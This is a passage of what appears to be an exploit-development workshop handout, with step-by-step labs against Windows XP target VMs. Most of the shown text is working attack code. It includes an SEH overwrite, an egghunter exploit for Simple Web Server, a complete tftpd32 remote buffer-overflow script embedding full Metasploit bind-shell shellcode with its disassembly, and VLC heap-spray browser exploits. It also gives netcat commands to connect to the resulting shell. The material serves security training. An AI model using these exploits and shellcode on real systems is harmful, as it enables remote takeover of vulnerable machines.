  4017.  
  4018. #####################################
  4019. # sipex3.py in Notepad++. #
  4020. # Set cseq = 252 #
  4021. # Set seh2 address to: 0x10015977 #
  4022. #####################################
  4023.  
  4024. ---------------------------Type This-----------------------------------
  4025.  
  4026. python sipex3.py XPSP3-ED-Target-IP
  4027. 0:003> !exchain
  4028.  
  4029. python sipex4.py XPSP3-ED-Target-IP
  4030.  
  4031.  
  4032.  
  4033. nc XPSP3-ED-Target-IP 4444
  4034.  
  4035. -----------------------------------------------------------------------
  4036.  
  4037.  
  4038.  
  4039.  
  4040. Brush up on the basics of Structured Exception Handlers:
  4041. http://www.securitytube.net/video/1406
  4042. http://www.securitytube.net/video/1407
  4043. http://www.securitytube.net/video/1408
  4044.  
  4045.  
  4046.  
  4047.  
  4048.  
  4049.  
  4050. ########################################
  4051. # Lab 2a: Not Enough Space (Egghunter) #
  4052. ########################################
  4053.  
  4054. ---------------------------Type This-----------------------------------
  4055.  
  4056. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
  4057. -----------------------------------------------------------------------
  4058.  
  4059. SWS - SIMPLE WEB SERVER
  4060. -----------------------
  4061.  
  4062. Running SWS on Strategicsec-XP-ED-Target-VM
  4063. Start > Programs > Simple Web Server (it's in the middle somewhere)
  4064. Red icon in system tray
  4065. Double click it
  4066. - it will pop up a menu
  4067. - select "start"
  4068. - dialog box shows starting params - port 82
  4069.  
  4070. WinDBG
  4071. - attach to "server.exe"
  4072.  
  4073. ---------------------------Type This-----------------------------------
  4074.  
  4075. python sws1.py | nc XPSP3-ED-Target-IP 82
  4076.  
  4077.  
  4078.  
  4079. python sws2.py | nc XPSP3-ED-Target-IP 82
  4080.  
  4081.  
  4082. SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
  4083. cd /home/strategicsec/toolz/metasploit/tools/exploit
  4084. ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225
  4085. ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229
  4086.  
  4087.  
  4088. -----------------------------------------------------------------------
  4089.  
  4090.  
  4091.  
  4092.  
  4093.  
  4094.  
  4095. EGGHUNTER:
  4096. ----------
  4097.  
  4098. "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
  4099. "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  4100. ^^^^^^^^^^^^^^^^
  4101. ABBA
  4102. JMP ESP
  4103. /
  4104. /
  4105. GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
  4106. User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
  4107.  
  4108.  
  4109.  
  4110.  
  4111. -----sws3.py-----
  4112. #!/usr/bin/python2
  4113.  
  4114. import os # for output setting
  4115. import sys
  4116. import struct # for pack function
  4117.  
  4118. # turn off output buffer and set binary mode
  4119. sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
  4120.  
  4121.  
  4122. pad = "A" * 225 # distance to EIP
  4123. eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll
  4124.  
  4125. egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
  4126. egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  4127.  
  4128. shellcode = "\xCC" * 700
  4129.  
  4130. buf = "GET /"
  4131. buf += pad + struct.pack('<I', eip) + egghunter
  4132. buf += " HTTP/1.0\r\n"
  4133. buf += "User-Agent: ABBAABBA"
  4134. buf += shellcode
  4135. buf += " HTTP/1.0\r\n"
  4136.  
  4137. sys.stdout.write(buf)
  4138. -----
  4139.  
  4140.  
  4141.  
  4142. ############################################
  4143. # Lab 2b: Not Enough Space (Negative Jump) #
  4144. ############################################
  4145. ---------------------------Type This-----------------------------------
  4146.  
  4147. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
  4148. -----------------------------------------------------------------------
  4149.  
  4150.  
  4151. [pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
  4152.  
  4153. ^
  4154. 1 ----------------------1 overflow the buffer---------------------------|
  4155.  
  4156. ^ ^
  4157. |
  4158. 2 ----jump over seh record---|
  4159.  
  4160. ^ ^
  4161. |
  4162. 3--POP 2 words off stack---|
  4163.  
  4164. ^
  4165. 4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
  4166.  
  4167.  
  4168. #########################################
  4169. # Lab 2c: Not Enough Space (Trampoline) #
  4170. #########################################
  4171.  
  4172. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
  4173. On the Strategicsec-XP-ED-Target-VM VM
  4174.  
  4175. - open a command prompt
  4176. - c:\software\tftpd32
  4177. - run tftpd32.exe
  4178. - UDP port 69
  4179. (socket code is already in the scripts)
  4180.  
  4181.  
  4182.  
  4183.  
  4184. On your attack host please install:
  4185.  
  4186.  
  4187. NASM - Netwide Assembler
  4188.  
  4189.  
  4190.  
  4191.  
  4192.  
  4193. -----------------------------------------------------------------------------------------------------------------
  4194.  
  4195.  
  4196. We want to generate the shellcode (BIND SHELL on Port 4444)
  4197. - No restricted characters
  4198. - Encoder: NONE
  4199.  
  4200. Create a Python file called dumpshellcode.py
  4201.  
  4202. ---
  4203. #!/usr/bin/python2
  4204.  
  4205. import os
  4206. import sys
  4207. import struct
  4208.  
  4209.  
  4210. # win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
  4211. shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  4212. shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  4213. shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  4214. shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  4215. shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  4216. shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  4217. shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  4218. shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  4219. shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  4220. shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  4221. shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  4222. shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  4223. shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  4224. shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  4225. shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  4226. shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  4227. shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  4228. shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  4229. shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  4230. shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  4231.  
  4232. sys.stdout.write(shellcode)
  4233. ---
  4234.  
  4235. ---------------------------Type This-----------------------------------
  4236.  
  4237.  
  4238. python dumpshell.py > bindshell.bin
  4239.  
  4240. copy bindshellcode.bin into the "c:\Program Files\nasm" directory
  4241. -----------------------------------------------------------------------
  4242.  
  4243.  
  4244.  
  4245. Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
  4246. 317 bindshell.bin
  4247. ---------------------------Type This-----------------------------------
  4248.  
  4249. C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
  4250. -----------------------------------------------------------------------
  4251.  
  4252. 00000000 FC cld
  4253. 00000001 6AEB push byte -0x15
  4254. 00000003 4D dec ebp
  4255. 00000004 E8F9FFFFFF call dword 0x2
  4256. 00000009 60 pushad
  4257. 0000000A 8B6C2424 mov ebp,[esp+0x24]
  4258. 0000000E 8B453C mov eax,[ebp+0x3c]
  4259. 00000011 8B7C0578 mov edi,[ebp+eax+0x78]
  4260. 00000015 01EF add edi,ebp
  4261. 00000017 8B4F18 mov ecx,[edi+0x18]
  4262. 0000001A 8B5F20 mov ebx,[edi+0x20]
  4263. 0000001D 01EB add ebx,ebp
  4264. 0000001F 49 dec ecx
  4265. 00000020 8B348B mov esi,[ebx+ecx*4]
  4266. 00000023 01EE add esi,ebp
  4267. 00000025 31C0 xor eax,eax
  4268. 00000027 99 cdq
  4269. 00000028 AC lodsb
  4270. 00000029 84C0 test al,al
  4271. 0000002B 7407 jz 0x34
  4272. 0000002D C1CA0D ror edx,0xd
  4273. 00000030 01C2 add edx,eax
  4274. 00000032 EBF4 jmp short 0x28
  4275. 00000034 3B542428 cmp edx,[esp+0x28]
  4276. 00000038 75E5 jnz 0x1f
  4277. 0000003A 8B5F24 mov ebx,[edi+0x24]
  4278. 0000003D 01EB add ebx,ebp
  4279. 0000003F 668B0C4B mov cx,[ebx+ecx*2]
  4280. 00000043 8B5F1C mov ebx,[edi+0x1c]
  4281. 00000046 01EB add ebx,ebp
  4282. 00000048 032C8B add ebp,[ebx+ecx*4]
  4283. 0000004B 896C241C mov [esp+0x1c],ebp
  4284. 0000004F 61 popad
  4285. 00000050 C3 ret
  4286. 00000051 31DB xor ebx,ebx
  4287. 00000053 648B4330 mov eax,[fs:ebx+0x30]
  4288. 00000057 8B400C mov eax,[eax+0xc]
  4289. 0000005A 8B701C mov esi,[eax+0x1c]
  4290. 0000005D AD lodsd
  4291. 0000005E 8B4008 mov eax,[eax+0x8]
  4292. 00000061 5E pop esi
  4293. 00000062 688E4E0EEC push dword 0xec0e4e8e
  4294. 00000067 50 push eax
  4295. 00000068 FFD6 call esi
  4296. 0000006A 6653 push bx
  4297. 0000006C 66683332 push word 0x3233
  4298. 00000070 687773325F push dword 0x5f327377
  4299. 00000075 54 push esp
  4300. 00000076 FFD0 call eax
  4301. 00000078 68CBEDFC3B push dword 0x3bfcedcb
  4302. 0000007D 50 push eax
  4303. 0000007E FFD6 call esi PART 1
  4304. 00000080 5F pop edi
  4305. 00000081 89E5 mov ebp,esp
  4306. 00000083 6681ED0802 sub bp,0x208
  4307. 00000088 55 push ebp
  4308. 00000089 6A02 push byte +0x2
  4309. 0000008B FFD0 call eax
  4310. 0000008D 68D909F5AD push dword 0xadf509d9
  4311. 00000092 57 push edi
  4312. 00000093 FFD6 call esi
  4313. 00000095 53 push ebx
  4314. 00000096 53 push ebx
  4315. --------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
  4316. 00000097 53 push ebx
  4317. 00000098 53 push ebx
  4318. 00000099 53 push ebx
  4319. 0000009A 43 inc ebx
  4320. 0000009B 53 push ebx
  4321. 0000009C 43 inc ebx
  4322. 0000009D 53 push ebx PART 2
  4323. 0000009E FFD0 call eax
  4324. 000000A0 6668115C push word 0x5c11
  4325. 000000A4 6653 push bx
  4326. 000000A6 89E1 mov ecx,esp
  4327. 000000A8 95 xchg eax,ebp
  4328. 000000A9 68A41A70C7 push dword 0xc7701aa4
  4329. 000000AE 57 push edi
  4330. 000000AF FFD6 call esi
  4331. 000000B1 6A10 push byte +0x10
  4332. 000000B3 51 push ecx
  4333. 000000B4 55 push ebp
  4334. 000000B5 FFD0 call eax
  4335. 000000B7 68A4AD2EE9 push dword 0xe92eada4
  4336. 000000BC 57 push edi
  4337. 000000BD FFD6 call esi
  4338. 000000BF 53 push ebx
  4339. 000000C0 55 push ebp
  4340. 000000C1 FFD0 call eax
  4341. 000000C3 68E5498649 push dword 0x498649e5
  4342. 000000C8 57 push edi
  4343. 000000C9 FFD6 call esi
  4344. 000000CB 50 push eax
  4345. 000000CC 54 push esp
  4346. 000000CD 54 push esp
  4347. 000000CE 55 push ebp
  4348. 000000CF FFD0 call eax
  4349. 000000D1 93 xchg eax,ebx
  4350. 000000D2 68E779C679 push dword 0x79c679e7
  4351. 000000D7 57 push edi
  4352. 000000D8 FFD6 call esi
  4353. 000000DA 55 push ebp
  4354. 000000DB FFD0 call eax
  4355. 000000DD 666A64 push word 0x64
  4356. 000000E0 6668636D push word 0x6d63
  4357. 000000E4 89E5 mov ebp,esp
  4358. 000000E6 6A50 push byte +0x50
  4359. 000000E8 59 pop ecx
  4360. 000000E9 29CC sub esp,ecx
  4361. 000000EB 89E7 mov edi,esp
  4362. 000000ED 6A44 push byte +0x44
  4363. 000000EF 89E2 mov edx,esp
  4364. 000000F1 31C0 xor eax,eax
  4365. 000000F3 F3AA rep stosb
  4366. 000000F5 FE422D inc byte [edx+0x2d]
  4367. 000000F8 FE422C inc byte [edx+0x2c]
  4368. 000000FB 93 xchg eax,ebx
  4369. 000000FC 8D7A38 lea edi,[edx+0x38]
  4370. 000000FF AB stosd
  4371. 00000100 AB stosd
  4372. 00000101 AB stosd
  4373. 00000102 6872FEB316 push dword 0x16b3fe72
  4374. 00000107 FF7544 push dword [ebp+0x44]
  4375. 0000010A FFD6 call esi
  4376. 0000010C 5B pop ebx
  4377. 0000010D 57 push edi
  4378. 0000010E 52 push edx
  4379. 0000010F 51 push ecx
  4380. 00000110 51 push ecx
  4381. 00000111 51 push ecx
  4382. 00000112 6A01 push byte +0x1
  4383. 00000114 51 push ecx
  4384. 00000115 51 push ecx
  4385. 00000116 55 push ebp
  4386. 00000117 51 push ecx
  4387. 00000118 FFD0 call eax
  4388. 0000011A 68ADD905CE push dword 0xce05d9ad
  4389. 0000011F 53 push ebx
  4390. 00000120 FFD6 call esi
  4391. 00000122 6AFF push byte -0x1
  4392. 00000124 FF37 push dword [edi]
  4393. 00000126 FFD0 call eax
  4394. 00000128 8B57FC mov edx,[edi-0x4]
  4395. 0000012B 83C464 add esp,byte +0x64
  4396. 0000012E FFD6 call esi
  4397. 00000130 52 push edx
  4398. 00000131 FFD0 call eax
  4399. 00000133 68F08A045F push dword 0x5f048af0
  4400. 00000138 53 push ebx
  4401. 00000139 FFD6 call esi
  4402. 0000013B FFD0 call eax
  4403.  
  4404.  
  4405.  
  4406.  
  4407. part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  4408. part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  4409. part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  4410. part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  4411. part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  4412. part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  4413. part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  4414. part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  4415. part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  4416. part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
  4417.  
  4418.  
  4419. part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  4420. part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  4421. part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  4422. part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  4423. part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  4424. part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  4425. part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  4426. part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  4427. part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  4428. part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  4429. part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  4430.  
  4431.  
  4432. STACK SHIFTER:
  4433. prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
  4434. prepend += "\x44" # inc esp
  4435.  
  4436.  
  4437.  
  4438.  
  4439.  
  4440.  
  4441.  
  4442.  
  4443.  
  4444.  
  4445.  
  4446.  
  4447.  
  4448.  
  4449. ---- final script ----
  4450.  
  4451. #!/usr/bin/python2
  4452. #TFTP Server remote Buffer Overflow
  4453.  
  4454. import sys
  4455. import socket
  4456. import struct
  4457.  
  4458. if len(sys.argv) < 2:
  4459. sys.stderr.write("Usage: tftpd.py <host>\n")
  4460. sys.exit(1)
  4461.  
  4462. target = sys.argv[1]
  4463. port = 69
  4464.  
  4465. eip = 0x7e429353 # jmp esp in USER32.DLL
  4466.  
  4467. part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  4468. part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  4469. part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  4470. part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  4471. part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  4472. part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  4473. part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  4474. part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  4475. part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  4476. part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
  4477.  
  4478. part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  4479. part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  4480. part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  4481. part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  4482. part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  4483. part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  4484. part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  4485. part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  4486. part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  4487. part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  4488. part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  4489.  
  4490. prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
  4491. prepend += "\x44" # inc esp
  4492.  
  4493. buf = "\x00\x01" # receive command
  4494.  
  4495. buf += "\x90" * (256 - len(part2)) # NOPs
  4496. buf += part2 # shellcode part 2
  4497. buf += struct.pack('<I', eip) # EIP (JMP ESP)
  4498. buf += prepend # stack shifter
  4499. buf += part1 # shellcode part 1
  4500. buf += "\xE9" + struct.pack('<i', -380) # JMP -380
  4501. buf += "\x00" # END
  4502.  
  4503. # print buf
  4504.  
  4505. # buf = "\x00\x01" # receive command
  4506.  
  4507. # buf += "A" * 300 + "\x00"
  4508.  
  4509. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  4510.  
  4511. try:
  4512. sock.connect((target, port))
  4513. sock.sendall(buf)
  4514. except Exception as e:
  4515. sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
  4516. finally:
  4517. sock.close()
  4518. sys.stderr.write("Sent.\n")
  4519.  
  4520.  
  4521.  
  4522. -----------------------------------------------------------------------------------------------------------------
  4523.  
  4524.  
  4525.  
  4526.  
  4527. How does all of this actually work
  4528.  
  4529.  
  4530.  
  4531.  
  4532. Total shellcode length: 315
  4533.  
  4534. Part1: 150
  4535. Part2: 165
  4536.  
  4537.  
  4538. NOPS * (256 - 165)
  4539.  
  4540. 91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
  4541. | | |
  4542. 256 260 150 (410) |
  4543. |<------------------------------------------------------------------------------------------------------------|
  4544. Jump to the
  4545. 30 byte mark
  4546.  
  4547.  
  4548.  
  4549. ############################
  4550. # Lab 3: Browsers Exploits #
  4551. ############################
  4552.  
  4553. ---------------------------Type This-----------------------------------
  4554.  
  4555. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
  4556. -----------------------------------------------------------------------
  4557.  
  4558.  
  4559. Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
  4560. rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
  4561.  
  4562. <object id=quicktime clsid="999-999999-99-99999">
  4563. <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
  4564. </object>
  4565.  
  4566. var buf = "";
  4567. for(i = 0; i < 50000; i++)
  4568. buf += "A";
  4569. var myobject = document.getElementById("quicktime");
  4570. myobject.url = buf;
  4571.  
  4572. YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
  4573.  
  4574. - Browsers (Flash)
  4575. - PDF
  4576. - MS Office / OOo
  4577.  
  4578. VLC smb:// exploit
  4579. ------------------
  4580.  
  4581. EXPLOIT VECTOR
  4582.  
  4583. smb://[email protected]/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
  4584.  
  4585. Exploit Scripts
  4586. - ffvlc
  4587.  
  4588. ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
  4589.  
  4590. ---------------------------Type This-----------------------------------
  4591.  
  4592. perl daemon.pl vlc0.html
  4593. -----------------------------------------------------------------------
  4594.  
  4595. ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
  4596. Browse to http://your_host_ip_address:8080/
  4597.  
  4598. vlc0.html
  4599. ---------
  4600. <script>
  4601. var buf = "";
  4602. for(i = 0; i < 1250; i++)
  4603. buf += unescape("%41%41%41%41");
  4604. var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
  4605. document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
  4606. </script>
  4607.  
  4608. vlc1.html
  4609. ---------
  4610. <script>
  4611.  
  4612. // shellcode created in heap memory
  4613. var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
  4614.  
  4615. // 800K block of NOPS
  4616. var nop = unescape("%u9090%u09090"); // 4 NOPS
  4617. while(nop.length < 0xc0000) {
  4618. nop += nop;
  4619. }
  4620.  
  4621. // spray the heap with NOP+shellcode
  4622. var memory = new Array();
  4623. for(i = 0; i < 50; i++) {
  4624. memory[i] = nop + shellcode;
  4625. }
  4626.  
  4627. // build the exploit payload
  4628. var buf = "";
  4629. for(i = 0; i < 1250; i++)
  4630. buf += unescape("%41%41%41%41");
  4631. var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
  4632.  
  4633. // trigger the exploit
  4634. document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
  4635. </script>
  4636.  
  4637. ---------------------------Type This-----------------------------------
  4638.  
  4639. perl daemon.pl vlc1.html
  4640. -----------------------------------------------------------------------
  4641.  
  4642. Search for where our NOPS+shellcode lies in the heap
  4643.  
  4644. s 0 l fffffff 90 90 90 90 cc cc cc cc
  4645.  
  4646. 0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
  4647. 03dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4648. 040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4649. 043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4650. 046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4651. 049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4652. 04cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4653. 04fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4654. 052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4655. 055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4656. 058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4657. 05bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4658. 05effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4659. 061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4660. 064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4661. 067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4662. 06affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  4663.  
  4664. Edit vlc2.html
  4665. replace %41%41%41%41 with %07%07%07%07
  4666.  
  4667. (928.fd0): Break instruction exception - code 80000003 (first chance)
  4668. eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
  4669. eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc
  4670. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  4671. 07100000 cc int 3
  4672. 0:019> u
  4673. 07100000 cc int 3
  4674. 07100001 cc int 3
  4675. 07100002 cc int 3
  4676. 07100003 cc int 3
  4677. 07100004 cc int 3
  4678. 07100005 cc int 3
  4679. 07100006 cc int 3
  4680. 07100007 cc int 3
  4681.  
  4682. Create vlc3.html (Copy vlc2.html to vlc3.html)
  4683. ----------------------------------------------
  4684. Win32 Reverse Shell
  4685. - no restricted characters
